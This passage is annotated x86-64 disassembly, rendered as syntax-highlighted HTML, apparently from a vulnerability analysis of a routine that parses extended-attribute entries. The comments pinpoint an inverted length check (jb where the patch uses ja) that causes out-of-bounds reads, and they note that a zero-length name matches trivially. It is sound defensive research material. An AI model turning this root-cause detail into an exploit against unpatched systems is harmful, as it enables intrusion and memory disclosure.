&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000990f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009913:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009917:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000991b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000991f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009921:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009923:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009925:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009929:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; rbx = *arg1 = first FILE_FULL_EA_INFORMATION*&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000992c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; rdi = 0 (status = STATUS_SUCCESS)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000992e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009931:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009933:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009936:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; r14 = arg4 (output GUID buffer)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009939:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; r12 = arg2 (EaLength pointer)&lt;/span&gt;

&lt;span class="c1"&gt;; ===== WPP tracing (skipped) =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000993c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0004088&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009943:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0004088&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000994a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000994d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009968&lt;/span&gt;

&lt;span class="c1"&gt;; ===== EA NAME COMPARISON LOOP =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009968:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; r8d = EaNameLength  &amp;lt;-- attacker-controlled&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000996d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; rcx = EaName&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009971:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c00032a8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; rdx = &amp;quot;ClusteredApplicationInstance&amp;quot;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009978:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c00060e0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; strncmp(EaName, &amp;quot;...&amp;quot;, EaNameLength)&lt;/span&gt;
&lt;span class="w"&gt;                                                     &lt;/span&gt;&lt;span class="c1"&gt;; NOTE: EaNameLength=0 =&amp;gt; trivial match&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000997f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009984:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009986:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000999c&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; if match, process EA value&lt;/span&gt;

&lt;span class="c1"&gt;; no match -&amp;gt; walk NextEntryOffset&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009988:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000998a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000998c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009ad5&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; end of list&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009992:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009994:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009997:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000999a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009968&lt;/span&gt;

&lt;span class="c1"&gt;; ===== EA VALUE SIZE CHECK =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000999c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; edx = EaValueLength (16-bit at +6)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099a0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099a5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099a8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c00099ef&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; !=0x10 -&amp;gt; 20-byte check&lt;/span&gt;

&lt;span class="c1"&gt;; --- 16-byte GUID path (safe) ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099aa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099ae:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099b3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;
&lt;span class="c1"&gt;; ... (set *arg5 = 0, WPP, jmp cleanup) ...&lt;/span&gt;

&lt;span class="c1"&gt;; ===== THE VULNERABLE CHECK =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099ef:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x14&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; eax = 20&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099f4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dx&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; 0x14 vs EaValueLength&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099f7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009aa0&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; *** BUG: 0F 82 (jb) ***&lt;/span&gt;
&lt;span class="c1"&gt;;                                                     ;     UNPATCHED: error only if 0x14 &amp;lt; EaValueLength&lt;/span&gt;
&lt;span class="c1"&gt;;                                                     ;     PATCHED  : 0F 87 (ja) -&amp;gt; error if 0x14 &amp;gt; EaValueLength&lt;/span&gt;

&lt;span class="c1"&gt;; --- Fall-through: 20-byte read (VULNERABLE when EaValueLength &amp;lt; 0x14) ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c00099fd:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; eax = EaNameLength&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a01:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ #1: 16 bytes ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a06:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;;     -&amp;gt; stored to output GUID (arg4)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a0b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x19&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ #2: 4 bytes at +0x10 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a0f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; rax = arg5 (version out)&lt;/span&gt;
